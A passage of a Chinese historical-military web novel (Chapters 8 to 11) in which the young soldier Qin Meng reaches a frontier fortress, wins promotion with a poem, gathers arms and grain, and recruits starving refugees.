“听见了......”
巡检司兵卒们应声如潮,声音抖得不成样子。
“呸,一群软脚虾。”张屠户与李山满脸鄙夷。
他们却不知,这地方军队贪污更甚,粮饷被层层克扣,底层兵丁连饱饭都吃不上,何来忠心可言?
轰隆隆!
大地忽然微震,铁蹄声如雷鸣般传来。
一队十余人的黑甲边骑如旋风卷至——城寨巡逻队到了。
秦猛立刻拍马上前,言简意赅地说明情况。
带队哨官见满地尸体,又瞅见板车上的鞑子尸身,瞬间明白缘由,勃然大怒:“狗日的厢军,瞎了眼敢动咱们虎贲的军功?全押回寨里。”
盘山道上,秦大壮望着身旁的秦猛,只觉后背发凉。这孩子自不再呆愣后,竟像是变了个人,武艺高强,杀起人来,竟如宰鸡般狠厉。
“叔,”秦猛似看穿他心思,望着前方城寨的巍峨轮廓,语气斩钉截铁,“在这混乱的边疆,仁义道德换不来活路,刀子才是真道理。
想过安生日子,就得比狼还凶,比虎更猛!
谁敢咬你,当场剁了他爪子!
不然,打了小的来老的,无穷无尽的报复,只会让你连骨头都剩不下。”
“大壮哥你就是太老实。”
张屠户吐了口唾沫,狠声道,“猛哥儿做得对!这口气,就得用血来出!”
“没错,俺们不是好欺负的。”
李山等军汉也用力点头,眼神里既有凶狠也有炽热,跟着秦猛这般凶猛的狠角色,活得才叫酣畅淋漓。
“可那姓许的是个朝廷武官。”秦大壮仍是忧心。
“那又怎地?他们坏了规矩在先,凭什么惯着他?”秦猛不屑的撇嘴,随即话锋突然一转:“大壮叔,杀了也是为民除害。方才那两人嘀咕,说咱们是戍堡小卒,人不过八九个,杀了就杀了,丢进河里喂鱼,没人会发现。”
“直娘贼,杀得好!”
这话一出,引得众人齐声怒骂。
第8章 南河城寨
南河城寨。
如头恶兽,狰狞地盘踞在鹰嘴崖巅。
三面绝壁深涧,唯余那盘山驿道,如一条蜿蜒毒蛇,死死缠绕着山腰,扼守着通往塞外的咽喉。
三丈高的包砖城墙耸立如壁,密布黑洞洞的箭窗森然,碗口粗的床弩冷冰冰地架在垛口后,矢锋在塞北的日头下,泛着不祥的幽光。
寨前辕门角楼——
数十颗风干发黑、面容扭曲的鞑子头颅,如狰狞战旗高悬。
腥涩的山风吹过,头颅如地狱风铃般摇晃,无声诉说着边关最残酷的铁血法则与功勋簿。
“呜、呜——”
箭楼上低沉有力的号角声响起。
那是城寨巡逻队押着数十个巡检司官兵归来。秦猛,秦大壮领着队伍跟随队尾,协助看押。
伴随着刺耳的“吱呀”声,厚重的包铁寨门缓缓洞开。
门后,喧嚣的声浪如潮水般涌来。
映入眼帘的,是依托军寨数十年而形成的附寨。
地势稍缓处,密集的木屋、土坯房、低矮窝棚,如同病变的瘤子,沿着主干道向四面八方蔓生。
街道两旁,酒幡斜挑,布幌乱舞。
布庄、杂货铺子、叮当作响的铁匠炉、飘着牲口腥膻的车马店、透着廉价脂粉香的铺子、冒热气的食肆......
甚至还有几家酒旗高悬、带着浓烈西域风情的“胡姬楼”,以及那脂粉气熏人的勾栏画舫。
牵着健硕骆驼的西域商人操着生硬汉话讨价还价,敞着怀的粗豪军汉拎着酒坛醉步踉跄,身上铁叶甲哐啷作响,引得路人纷纷避让。
麻雀虽小,五脏俱全。
商队骡马穿梭,人声鼎沸,污浊的空气混合着食物、牲口和脂粉的气味,弥漫一种畸形的“繁荣”。
这哪里是浴血的沙场军堡?
分明是扎根边塞的一座浮华的集镇!
“老天爷,这也…太热闹了!”
几个初次跟随押送辎重来南河城寨的土兵瞪大了眼,张着嘴,被这光怪陆离的景象晃得头晕目眩。
“哼,热闹?”秦猛那冷硬的声音像冰锥般刺破喧嚣。
他按着腰间佩刀刀柄,在马背上张望,鹰隼般的目光锐利如剃刀,扫过这片被暖阳洒下的“繁华”。
酒楼雕花窗边,税吏正与富商勾肩搭背,推杯换盏间飘出刺耳的哄笑。
而几步之遥的河岸画舫精致窗棂内,影影绰绰的艳丽身影伴着丝竹声晃动,是另一个隔绝的声色世界。
视线下移,泥泞的墙角,几个衣衫褴褛的孩子正疯狂刨掘着烂泥里的烂菜根,塞进嘴里。
更深的巷弄阴影里,蜷缩着骨瘦如柴的人形,仅凭破席御寒,眼神空洞地注视着往来鞋履扬起的尘埃……
这繁华的油彩涂得再厚,也掩盖不住底下刺骨的贫瘠与千疮百孔。底层人的挣扎,像溃烂伤口渗出的脓血。
更远处,临近河岸的低洼区——那里是阳光遗忘的角落。
污臭的泥水上,密密麻麻的朽烂苇棚,随意搭架,污水横流,浑浊粘稠的空气污浊得足以令人窒息。
秦猛在路上就听说,一入冬,鞑子频繁骚扰,城寨就会涌入大量流民,也会流入军堡定居。
但是亲眼目睹,那种触动又是不同。
粗粗望去,那片黑压压的破败之中,人口怕不下千余。
这哪里是“繁荣”?
分明是浮华的皮囊下,隐藏着随时可能爆发的灾难。
冬日烈阳给附寨街道带来些许暖意,也将畸形的“繁华”蒸腾出更刺鼻的气味。
秦猛等人骑马驾车,有铁甲寨兵随行,在喧嚣中撕开一条无形的通道,路人无不惊惶避让。
街角阴凉处,一个枯瘦如柴的老汉守着几乎散架的竹架,用熬得粘稠的麦芽糖勾画着糖人。
一只展翅欲飞的雄鹰在他的指下渐露雏形,糖色透亮,翅尖微微颤动,引得一群围观的流民孩童眼珠粘在上面,不断吞咽着干涩的唾沫,脏兮兮的脸上写满痴迷。
其中一个十来岁的男孩,身形格外瘦小伶俐,却饿得眼冒绿光。
一个绸缎庄老板骂骂咧咧掀帘而出,货摊边缘,一块精美的糕饼不慎跌落泥地。
“嘎吱”驶来一辆马车,快碾过时。
刹那间!
男孩如同一只嗅到血腥的灰鼠,瘦小的身影化为一道疾影扑出,目标精准——那块沾了泥的糕饼。
“嗷——!”
清脆的鞭子破空声与孩童撕心裂肺的惨嚎同时撕裂了阴沉的空气,像两把淬了冰的刀子,狠狠扎进人心。
那被迫停的马车上,车夫正扬着鞭子抽着那个男孩。
“哪来的野东西挡路,滚开!”
车夫粗鄙的骂声混着鞭响,嫌恶地啐了口,手腕再扬,鞭子噼啪作响,带着风声又要落下。
“狗仗人势的东西!”秦猛双目瞪圆,额角青筋突突直跳,怒喝如惊雷炸响。
他死死盯着那车夫,手已攥住腰间刀柄,正准备拔出来。
可那佩刀终究没能斩碎这种丑恶。
“猛子,冷静!这是城寨地界!”秦大壮急忙扑上来,死死攥住他的胳膊不放。
他是真怕这个侄子如在半途中般,一言不合,拔刀砍杀。
“你娘的还不快滚!”秦大壮转过身,对着车夫扯开嗓子怒骂。
李山,张富贵等军汉个个目露凶光。
车夫顿时矮了半截,唯唯诺诺地甩响马鞭赶车,马车轱辘慌乱地碾过水洼,逃也似的没了踪影。
泥泞里,刚才那男孩拼死护住的糕饼早已不见踪影,或许是被车轮碾碎,或许是混进了污泥。
只有那个瘦弱的像根枯草的男孩,正用力鼓着腮帮子,含混地嚼着什么。
他抬起脏兮兮的小脸,朝着秦猛咧开嘴笑,眉宇间藏不住的感激。那种天真,像朵在尘埃里倔强绽开的花。
“大壮叔,我晓得轻重。”秦猛深吸一口气,也冲男孩笑了笑,随后扫视众人。
“现在还认为繁华吗?乱世中穷人命如草芥,唯有靠刀子。”
众人闻言,沉默不语。
他们同样看到那瘦弱的男孩和远处挣扎的流民。
……
盘山驿道尽头,依着主寨西墙的官衙,是这铁铸巨兽的心脏。
此处主人魏文,南河城寨知寨官,幽州虎贲军正将,官拜正六品,掌一营军马,扼守幽州北道门户。
大周王朝建国近两百载,自古天下将军定,不准将军见太平,崇文抑武的积弊早已深入骨髓。
魏文虽为城寨主官,统辖兵马训练、布置防务,抵御鞑子入侵,却被严禁干涉政务民生。
主寨附寨的钱粮调度、百姓生计,全由幽州府委派的监镇官把持。
——这是皇室防武将掌权,叛乱的惯用手段,却也让边境防务与民生治理割裂成两张皮。
入冬以来,草原部落频繁南下,村坊、军堡被毁,百姓或被掳走或逃亡,陆续汇聚到城寨边缘。
可监镇官不愿养着这些光吃饭,不干活的人,禁止开仓救济,任由流民在寒冬里自生自灭。
魏文看着那些冻饿交加的身影,胸腔里的血气翻涌,却碍于体制束手束脚,只能另寻出路。
故而,晌午时分,官邸水榭灯火通明,檀香袅袅。
几位附寨的“体面人”正围坐其中:
官粮商李老板肥硕的身躯格外扎眼,油滑的税吏、行会头领,还有几位依附城寨的小世家子。
众人目光焦点,却非上首的魏将军,而是透过窗外,下方运河中那艘玲珑剔透的玉石画舫。
魏文端坐如渊。面容刚毅如黑铁铸就,刀削斧凿的线条在火光下显得格外冷硬。
他穿着洗得微微发白的正将军常服,更衬得肩背魁梧,气度如山。鹰隼般的眼神掠过下首宾客的逢迎,深不可测,如同寂静的火山。
“魏将军守此咽喉,令塞外鞑虏闻风丧胆,此乃南河万民之福啊!来,我敬将军一杯。”
胖粮商堆着挤出眼缝的笑,肥厚的手掌举杯。
魏文并未动作,只微微颔首:“食君之禄,忠君之事。无须挂齿。”
他声音低沉,自带一股不容置疑的铁血威严。他话锋一转,目光扫过众人:“诸位久居附寨,可知近日寨外洼区聚集了多少流民?”
喧闹的宴厅瞬间安静下来。
粮商脸上的笑容僵住,税吏低头捻着胡须,行会头领眼神闪烁。
魏文将玉核桃重重搁在案上,沉声道:“鞑子劫掠村坊,百姓无家可归才来投奔城寨。
如今寒冬腊月,监镇官不肯放粮,商船少了,他们在洼区冻饿交加,昨日已冻死三个孩童。”
他声音陡然拔高,“诸位都是体面人,读书人。流民亦是陛下赤子,也是我大周的百姓。寨墙之内歌舞升平,寨墙之外饿殍渐生,你们忍心?”
粮商搓着手讪笑:“将军说笑了,我等小本生意,哪有多余钱粮……”
“哎,李老板上个月刚从西域运回三船粮食。
税吏大人库房里的存粮怕是够吃三年五载。
至于各位世家子,谁家没有几顷良田、产业?”
魏文目光如刀,一一扫过众人,“我知诸位怕监镇官问责,但流民若冻毙过多,开春必生疫病,到时候附寨生意受影响,谁能独善其身?”
他起身走到水榭边,指向窗外黑暗:“我魏文是武将,不懂你们的算计,但我知道守城先守民。
今日请诸位来,不求你们倾家荡产,只求匀出些粮米棉衣,让那些百姓能熬过这个冬天。”
说罢,他竟对着众人微微拱手,“魏文代流民谢过诸位。”
这一揖让众人慌了神。粮商额头冒汗,世家子们面面相觑。税吏干笑两声:“将军言重了,我等身为城寨基石,为百姓分忧是应当的……”
魏文直起身,眼神锐利如锋:“好,诸位有心便好,明日起,烦请李老板调十船糙米,税吏大人开放空置粮仓,行会组织工匠修补窝棚。
所需费用,待开春我自会向帅司、幽州府报备,若府衙不给说法,魏文这正将军的俸禄,先垫给诸位。”
他语气平淡,却带着不容置疑的决心。
宴厅内的灯火仿佛被寒风穿透,众人看着这位身着旧袍的将军,忽然自惭形秽,觉得那画舫里的葡萄酒远不如寨外流民眼中的微光滚烫。
第9章 擢升为管队官
南河城寨,附寨是一处热闹的集镇。
可经过那男孩事件后,众人兴致缺缺,无心游玩。骑马驾车,随着秦大壮直奔主寨登功。
随着脚步深入,行人渐少,附寨的喧嚣渐次沉落,穿过三道持戟挎刀甲士把守的森严关卡。
城寨内寨的核心区域终于展现在眼前。
这里依高地而建,夯土包砖的城墙比外寨厚重数倍,箭楼如林而立,垛口在寒风中泛着铁石的冷光。
闸门之后,巷道虽窄却规整有序,砖石房屋高大结实——这是寨兵精锐、军匠核心及其家眷的居所,更是堡垒真正的脊梁与最后的屏障。
叮叮当当的打铁声从工坊区密集传出,火星溅落在冻土上瞬间熄灭。
兵械作坊里木槌撞击的闷响此起彼伏。
一座座巨大的仓房如小山般矗立,投下浓重阴影。
披甲执锐的士兵驻守各处,往来巡逻,铁甲摩擦声与靴底踏地声交织,肃杀之气扑面而来。
“内寨是城防的心脏,武库、粮仓一应军务,都由魏知寨大人总揽!”
秦大壮熟门熟路地引路,带着秦猛等人直奔军功司登记缴令。
军功司的公案前,九颗新鲜割下的鞑子首级一字排开,残留的血腥气让空气都凝着冷意。
小吏仔细验看文书、核对首级腰牌,盘问斩杀细节与归属,最终在册籍上郑重落笔记录。
功绩确凿无误!
秦猛信息登记,正式纳入边军体系,因献鞑子首级最多,按大周律法,当场擢升为伍长。
李山、张富贵等随行土兵也转为边军。凭证是领到刻着姓名的腰牌和一套沉甸甸的铁鳞甲。是一种防护上半身及臂膀,腰腹的半身甲。
另外换来了实打实的赏赐,每颗鞑子首级作价二十贯铜钱、三匹素绢,或布匹、麻衣,还有可等价换粮换马。
实物攥在手里,连一向沉稳的军头李山都忍不住咧嘴傻笑。
唯有秦猛捧着崭新甲胄,眼神平静无波。对他而言,成为正规军,这不过是征途的起点。
按原计划,秦大壮要带秦猛面见知寨官魏文。
一来凭昔日情谊求照拂。
二来更要主动交代清楚途中巡检司抢功,反杀末流武官之事,此事可大可小,必须当面说清,抢占先机。
秦猛嘱咐李山等人去附寨采买,自己则和秦大壮直奔官署。
两人刚到门口,便被一个嘹亮如号角的声音叫住。
“哎,这是大壮!稀客啊!”
来者正是知寨魏文,四十岁开外,身披精锻铁甲,黑脸膛上刻满风霜,带着几名亲兵大步走来。
“开春后就不见你来,可是小南河堡有难处?”
他拍着秦大壮的肩膀,亲热中带着关切。
可当目光扫过秦大壮身侧的秦猛时,这位久历沙场的老将眼神骤然一凝。
眼前青年身形魁梧雄壮,气势沉稳如山,绝非寻常士卒。
“这位是?”
“回知寨,这是秦武堡主的独子,秦猛。”
秦大壮连忙引荐,“今日特来补秦大哥的军籍空缺。”
“秦,秦武的儿子?秦猛?”
魏文脸上的表情瞬间凝固,取而代之的是震惊与难以置信。
他脑海中浮现出秦武刚毅的面容,又想起传闻中那个痴傻的少年,眉头紧锁:“秦武故去已逾两载,为何此时才来补籍?
据我所知,他那独子......”
未尽之语里的质疑显而易见。
“大人有所不知。”秦大壮急忙解释。
“猛子福至心灵,不久前灵窍顿开,不仅言语机敏如常人,更得先祖保佑,一身武艺惊人。昨夜在堡外连斩数名鞑子哨探,攒了军功......”
“哦?是这样?”魏文眼中疑色未消,转向秦猛,考校之意尽显:“秦猛,你可识数字?能读军报否?”
这几乎是明着质疑他过去的痴傻。
秦猛抱拳行礼,声音沉稳如钟:“回禀大人,小子往昔只是心思混沌,并非不识五谷,不明事理。家父在世时曾悉心教导,略通文墨,能识能写,粗通数算。至于吟诗作赋......”
他抬眼直视魏文,目光坦荡,“倒也能勉强为之。”
“吟诗作赋?”魏文浓眉猛然掀起,声调陡然拔高,带着训斥口吻:“后生!此地是铁血军寨,不是文苑楼台。
军中无戏言,莫要信口开河!”
“知寨大人若不吝指教,尽管考校。”秦猛毫无惧色。
此方天地也是汉字,他脑中不仅存着原主的蒙学记忆,更有千百年华夏文化积淀的底气。
魏文见秦猛站定凝望,气度沉静如水,与周遭浮躁氛围迥然,不像狂言,不由起了几分好奇。
他嘴角微挑,带着一丝试探和居高临下的审视,随手指向寒风萧瑟的军寨:“有点意思。
既是边关寒风凛冽,冬月肃杀。
就以这南河城寨为题,即景赋诗一首!作得好,本官自有厚报,重重提拔你;若是作不出……哼!”
后半句未尽的威胁之意在冰冷的空气中弥漫。
其实魏文只是说说,哪怕秦猛背一首酱油诗他都会承认,称赞,找个由头提拔一下故人之后。
秦大壮在一旁急得如热锅上的蚂蚁,额头沁出汗珠,几次张嘴欲言都被秦猛用眼神瞪了回去。
寒风在寨楼上尖厉呼啸,卷起枯叶、沙尘,附寨“胡姬楼”却飘来歌声,与边陲军寨形成刺眼对比。
秦猛目光扫过暧昧灯火与冰寒铁甲,朗声道:“《边塞冬月》——
十月霜风卷塞尘,边城夜色冷如冰。”
他声音低沉流利,配合着寒风刮过,画面感顿生:
狂风裹着沙尘如黄龙扫过,星月失色;夜幕将边城投入冰窖,城砖兵刃皆似冻结。
魏文嘴角轻慢瞬间凝固,亲兵们瞪圆双眼交换震惊,这傻小子真的会做诗?
秦大壮焦急僵硬在脸上,他虽不懂诗,却觉得二愣子说得好。
“金樽美酒歌楼暖,铁甲寒光戍角清。”
画面骤转:歌楼内金杯碰撞,酒香与暖炉馨香交织,一派融融春意;
镜头再拉回军寨,铁甲映着阳光泛出幽芒,戍楼号角划破寂静,如警钟长鸣。
魏文瞳孔收缩,身体前倾,脸上冰封初裂。
“舞袖翩翩娇影乱,战旗猎猎壮心惊。”
暖阁中舞袖飞旋,皓腕莹光与迷离光影交织成靡丽图景;
寨墙垛口处,战旗被狂风撕扯得猎猎作响,震颤如战鼓敲在戍卒心弦。
魏文喉头发干,不安悄然滋生。
最后两句,秦猛声音沉凝如龙吟:“繁华背后藏腐朽,谁知沙场白骨横?”
咔嚓,流光舞袖与暖香幻象骤然如镜子般破碎,血沃焦土上枯骨层层堆积,无声诘问穿透繁华。
魏文如遭重锤,脸上戏谑淡然尽褪,面色由白转红,喉间发不出半点声音,只剩脊椎窜起的战栗。
数息后,他低嘶出声:“好啊!字字泣血,句句诛心,振聋发聩!秦武啊秦武,你生了个好儿子,哎,是老夫眼拙,疏忽忠烈之后。”
秦大壮直愣愣地盯着秦猛,眼里那点疑惑渐渐褪了去,反倒慢慢凝出些沉甸甸的东西来。
——是敬畏!
他这辈子在南河堡见惯了挥锄头、舞棍棒的汉子,能识全字的都没几个,更别说吟诗作赋了。
可魏知寨是什么人物?那是读过书、见过大世面的!
连他都拍着大腿夸秦猛的诗好,那这诗就一定是顶顶好的。
秦大壮心里直翻腾:老秦家这是祖坟上冒青烟了?
南河堡多少年没出过这样的人物,咱秦家这小子竟有这本事?
他望着秦猛的背影,喉结动了动,低声念叨:“秦大哥啊,你在九泉之下瞧见没?猛子有出息了……”
这时,魏文走上前,用力拍着秦猛的肩膀,眼中满是赞赏与愧疚,随即神色一正,朗声道:“原只道你武勇可嘉,没想到竟有如此文采!
如今入冬,界河将封,正是北虏寇边的高危时节。南河堡伤了元气,需要真正的将才坐镇。”
“咱说话算话!”他目光灼灼盯住秦猛,喝道:“秦猛听令!本知寨即刻擢升你为南河堡管队官。
全权负责南河口防务,督训士卒,调度防御,执掌钱粮。特许便宜行事,可征调民壮辅战。”
管队官,大周边军从八品实职武官。
这绝非虚职,意味着秦猛从伍长一跃成为南河堡防务与军民事务的最高长官。
军械、钱粮尽在掌握,更是过渡期,通往堡主之位的关键阶梯。
秦猛眼中精光爆射,压抑住心中振奋,躬身下拜,铿锵回应:“谢将军,末将愿以血肉铸铁壁!
贼寇来犯,唯死战耳!人在堡在,誓死不退!”
“好!”魏文见他不骄不躁,愈发满意。
第10章 军令落,大采买
南河城寨的议事厅内,烛火在铜制灯盏里跳跃,将魏文棱角分明的脸庞映照得忽明忽暗。
这位知寨官眼角余光看着这个年轻人,目光从他刚毅的面容滑到腰间那柄缠着麻绳的长刀。
这柄刀是秦猛父亲的遗物之一。
他忽然想起二十年前,自己还是个队将之时,老秦曾背着重伤的他在雪地里走了三十里。
血腥味引来狼群,是秦武背着他一路逃出来……
这一刻,魏文仿佛看到好友的影子。
“哎,老伙计。”他记忆纷至沓来,心中长叹。
他将城寨签发的临时任命书重重拍在案几上,纸页翻动的声响在寂静的厅堂里格外清晰。
“秦猛接令!”
魏文面无表情,声音带着边疆风霜磨砺出的沙哑,却字字如金石落地。
“末将在!”秦猛跨步上前,单膝跪地时铁甲与青石地面碰撞出沉闷的脆响,双手高举过顶。
“你比你爹优秀,好好干。”魏文盯着魁梧高大的秦猛,一边叮嘱一边将任命书放到他手上。
“好。”秦猛重重回应,托住那张泛黄的麻纸:“末将秦猛,谢知寨大人栽培,定恪尽职守。”
“起来吧。”魏文的语气缓和了些。指节叩了叩案几上的另一张批条:“军需处的五十套铁鳞甲,优先给你带的老兵换,另有其他装备。”
他又转向秦大壮:“大壮,你在河口守卫十余年,劳苦功高。
即日起,升任小南河堡队将,辅佐秦猛镇守河口。”
大周王朝边疆各军实行将兵法。
分为主将,偏将,正将,部将,队将五个级别。
队将虽只是末流,仅统辖数十人,却已是正九品武官,官职再小,也是官,也是有俸禄的。
秦大壮正为秦猛升职高兴高兴,搓着布满老茧的手在一旁憨笑。这位在南河口守了十多年的老兵,鬓角一撮白发在烛光下格外显眼。
听到自己升任队将的消息时,他瞪眼呆愣当场。是秦猛实在看不下去,戳了他腰眼一下。
秦大壮回过神,通红的眼眶里滚出的泪珠砸在胸前的旧铁甲上,晕开一小片深色的水渍。
他激动得跪地谢恩:“卑职谢…谢将军提拔。”
“行了行了,瞧你那点出息。”魏文是哭笑不得。
秦大壮接过任命文书,起身之后,郑重地叠好放入怀中。他见秦猛使眼色,按计划行事。
秦大壮喜色被哭丧取代,忙按约定将巡检司拦路抢功、诬陷通敌、被秦猛反杀之事详细禀报。
末了——
“魏大人!”秦大壮突然扑通跪下,膝盖砸在地上的声响让秦猛心头一紧,谁说老实人不会演戏?
“猛子杀巡检那事,真不是故意的,是个误会。那些人屡次拔刀,伤人在先,抢首级时喊着要把我们绑去青阳县问斩,说边军通敌......”
“闭嘴!”魏文猛地一拍桌子,案几上的砚台都跳了起来。
他豁然起身,腰间佩剑的彩穗子无风自动,“青阳县那帮杂碎!
去年冬天就敢扣我们边军的冬衣,今年开春抢田,入冬又来抢军功?真当边防帅司是摆设?”
烛火被他带起的风搅得剧烈摇晃。
秦猛看见魏文紧握剑柄的指节泛白,指缝间露出的虎口有一道深可见骨的旧伤——那是这位将军年轻时,与鞑子主力血战留下的印记。
“杀得好。”魏文突然松开手,语气里的寒意却更甚,“军功是边军的命根子,谁动谁死。
别说他一个九品巡检,就是县令来了,敢抢老子麾下将士的功劳,照样得竖着来,躺着出去!”
秦猛心头一暖,正欲开口,却见魏文眼神陡然锐利如刀:“不过,你小子胆子也太大了。
一个小卒子就敢斩杀这巡检使臣,可知斩杀朝廷命官按律当斩?若不是看在你爹的面子......”
“知寨明鉴!”秦猛立刻躬身,声音带着恰到好处的懊恼,“当时,那些人举着刀冲过来。
弟兄们刚从死人堆里爬出来,见他们伤人在先,抢首级还骂我们是汉奸,一时血气上头......”
他故意顿了顿,抬手抹了把脸,“若是知道是巡检大人,给末将一百个胆子,也不敢啊!”
魏文盯着他看了半晌,突然哈哈大笑:“你这小滑头,头脑活络,比你爹会说话多了。”
“到此为止,巡检司之事,无需担忧,你们安心上任。
帅司正式任命与朝廷告身,衣赐,后续会有人送至军堡。”
说话间,魏文将两本巴掌大的册子扔过来:“这是军械库和粮仓的临时调令,赶紧去领了回堡。
冬季鞑子狗最是猖獗,白天都有可能来犯。别让老子刚给你的官印,转头就被人摘了去。”
“是!”
魏文又板着脸,叮嘱两人勤勉,不可怠慢防务。而秦猛也趁机提及招募人手,回堡建设等。
出了戒备森严的内寨,秦大壮后背的冷汗已浸透了衣甲,冷风一吹激起层叠鸡皮疙瘩。
他哆嗦着裹紧衣领,心有余悸地抹了把额头:“猛子,刚才魏大人那眼神,差点把我魂吓飞了。”
秦猛将批条小心翼翼地折好揣进怀里,笑道:“别怕,军队就是这样,崇尚强者,只认军功和血性。咱们杀鞑子保家卫国,没做错事。”
“你呀!”秦大壮攥着拳头,猛拍秦猛后背:“猛子!你跟魏将军顶嘴,我心都提到嗓子眼了!
这胆大的捅破天。
不过,你真有能耐,干得漂亮!”
秦猛嘴角噙着丝若有若无的笑意,目光却早已越过寨墙望向小南河堡的方向:“当务之急是领装备、招人手。咱们的边堡,得让它真正‘活’过来。”
城寨军需处的木门吱呀作响,主事的干瘦老吏正扒拉着账簿,算盘珠子打得噼啪作响。
他见秦猛递来魏文亲签的批条,眯起精明的三角眼打量这位年轻管队官。
——明明年纪轻轻,眉宇间那股杀伐淬炼出的压迫感却比老兵还重,绝非普通军官可比拟。
老吏立刻收起惯常的油滑,借着窗棂透进的微光核对批条,当看到“铁鳞甲五十套”几个字时。
他突然抬起头,浑浊的眼睛在秦猛身上转了一圈:“秦管队年纪轻轻就立此大功,后生可畏啊!”
“老先生谬赞,无非是身强力壮,能杀鞑子。”
秦猛也没有摆架子,笑呵呵地回应着。
后世社会摸爬滚打的他,深知阎王好惹,小鬼难缠。侧身挡住视线,丢出二两散碎银子。
老库吏接过银锭放入袖袋里,笑得更亲切:“批条无误,秦管队稍候,这就给您点验物资。”
秦猛没接话,只是看着军卒们将物资搬上马车。
五十套边军制式铁鳞轻甲、一百套犀牛皮甲,百张硬木弓、各配着两壶羽箭(一壶透甲锥箭闪着寒光),再加上百柄锋锐长刀、几十杆长枪......
装备刚搬上车,车厢就已堆得冒尖。
更让秦大壮眼热的是,这次军堡的军粮也一块发了。
麻袋里的粟米、豆子颗粒饱满——百余石粮食,这是能让堡民熬过寒冬的底气!
“秋后要了两次,没有……”秦大壮疑惑地嘟囔。
“那是你方法不对。”秦猛笑了笑。
他又补充道:“装备和粮食不够,这才只是开始。”
早在领功时,他已暗中嘱咐张富贵、李山等心腹去附寨扫货。粮食、盐巴、酱醋,还有能过冬的棉衣,越多越好,见着就买,预定,别心疼钱。
……
附寨的市集喧闹如潮,张屠户掂着沉甸甸的钱袋,在摊前豪气地挥手:“这些山货全要了。”
在店家装货的时候,他目光死死锁定几头大肥猪。
李山则钻进杂货铺,把货架上的粗盐整箱搬空。搞得街上商铺掌柜都知道来了一群豪客。
附寨最大的常氏粮行,人来人往,算盘声隔着门板都能听见。
身宽体胖的掌柜常九正对着算盘眉开眼笑,见秦猛进来立刻堆起满脸肥肉:“这位爷要多少粮?”
秦猛反手带上门,从怀中掏出千两面额的银票拍在桌上,薄薄纸张轻飘却压得桌面微颤。
“常掌柜,五千石粮,分批送抵小南河堡。这是定金,要做长期买卖,就得守规矩——本官的军堡嘴严,你的车队也得像吃了哑巴药。”
常九看到秦猛掏出的千两银票时,肥厚的脸颊肉抖了三抖。
他那双绿豆眼死死盯着薄薄的纸片,仿佛要看出个窟窿来:“秦管队放心,区区五千石粮,小事一桩。
白天一趟,今夜再发车,走后山小道,保证不惊动任何人。”
大周王朝,一石粮约一百二十斤,当前市价一贯钱。而银子购买力更强,一两银子购买两三石粮食。而这桩大买卖够他清空积压的粮秣。
秦猛看着他油腻的手指在银票上反复摩挲,突然开口:“常掌柜,秦某要的不只是粮食。
开春后我要开荒,需要种子;筑堡需要石灰、木料;伤兵需要药材——这些你都能弄到吗?”
常九的眼睛更亮了,肥厚的嘴唇咧到耳根:“能!怎么不能?只要秦管队信得过俺粮行。
别说种子,药材这些,就是你要铁料、火药,甚至是武器装备,我都有门路给贵堡弄来!”
走出粮行暖阁时,寒风吹来,他紧了紧腰刀,转身走向另外几家粮铺,批量购粮,种子等。毕竟这种关乎肚皮的大事,多有门路没坏处。
只要撒钱,岂能有办不好的事?
秦猛附寨边缘的“泥窝子”,那里,还等着他主持。
第11章 粮甲入堡流民聚
流民聚集的“泥窝子”正被绝望笼罩!
寒风比别处更烈,像无数把小刀子,专往骨头缝里钻。
朽木搭成的棚子在风中摇摇晃晃,苇草编成的墙壁早已被雨水霜露泡透,冻得硬邦邦的。
一个裹着破麻袋的孩子蜷缩在墙角,冻得发紫的小脚露在外面,靠着哈气取暖,瑟瑟发抖。
饿殍般的流民缩在棚里,连哭嚎的力气都没有。
据了解到的信息,他们多是被鞑子越境烧了家园的边民,逃难至此。
城寨附近已经没有军田分配,安置。
这些难民靠挑夫做零工而艰难活着。入冬了,南运河即将封冻,装卸船少了,流民更难了。
突然,三口巨大的铁锅被木桩架起,柴火噼啪作响,粟米下锅后的“咕嘟”翻滚声穿透死寂。
“军堡秦大人开恩,招募壮士喽!”
李山敲响的铜锣声像一道惊雷,劈开了这片死寂。
他身边的三个军卒举着火把,跳动的火光照亮了“招壮士”的木牌,也照亮了一张张灰败的脸。
“管三餐饱饭,月钱一贯!”
李山的嗓子喊得发哑,却依旧中气十足:“会打铁的、会烧砖的、会算账的——秦管队都要。”
“敢杀鞑子者,安家钱十贯,分田地、发棉衣。建堡开荒,男女皆可,开春了,分田优先!”
吆喝声一遍又一遍,随着浓郁的粥香吹入窝棚区。
第一个反应过来的是个断了半截手指的汉子。从苇棚里爬出来时,膝盖在冻土上磕出重重的响声。
他枯瘦的手指死死攥着一块生锈的铁砧碎片:“我是并州匠器坊的铁匠,能打刀,会修甲!”
他张开嘴,露出缺了两颗牙的牙床,声音嘶哑却带着决绝:“只要有饭吃,我能打造军器。”
“我会烧砖瓦!”一个瘸腿的老头拄着木棍挪过来,破棉袄下露出嶙峋的肋骨:“青州官窑的老把式,烧的砖能挡箭!”
“我…我会看病。”一个穿着破烂儒衫的年轻人抱着药箱挤上前,冻裂的嘴唇渗着血珠,“我祖上是太医院的医官,我会治刀伤箭伤。”
“大人,我是木匠……”
“算我一个,我愿意从军杀鞑子!”
……
呼喊声此起彼伏,人群像解冻的河流般涌动起来。
曾经麻木的眼睛里燃起微光,干瘪的嘴唇翕动着,吐出积压已久的渴望。
他们从各个角落涌出来。
有的拄着拐杖,有的抱着孩子,也有的背着奄奄一息的亲人,朝着铁锅的方向挪动脚步。
秦猛站在土坡上看着这潮水般的人群。他们的衣衫比最破的麻袋还要褴褛,头发纠结如枯草,脸上积着的污垢发黑,能刮下一层泥。
但当他们抬起头时,秦猛看到了藏在污垢下的倔强,看到了被苦难、寒冷淬炼出的坚韧。
——应该是信念支撑他们撑到今天。
“都排好队!”秦猛的声音低沉,带着不容置疑的力量。
“男丁去左边登记,会手艺的优先;妇孺去右边领热粥,孩子先喝。”
他的目光突然落在一个护着妹妹的书生身上。那书生穿着洗得发白的蓝布长衫,袖口磨得露出了棉絮,在寒风中却依旧努力挺直腰板。
妹妹的小脸冻得通红,缩在哥哥怀里,大眼睛怯生生地望着铁锅,长长的睫毛上挂着冰珠。
“你会什么?”秦猛走过去问。
书生吓了一跳,连忙将妹妹护得更紧:“我、我会算账,会写字,还会教孩子读书。”
他的声音细若蚊蚋,却带着文人的倔强和勇气:“求大人收留我们,我妹妹快饿死了......”
秦猛突然想起自家妹子小芸,也是这样维护自己的。从怀里掏出剩下的肉饼递过去。
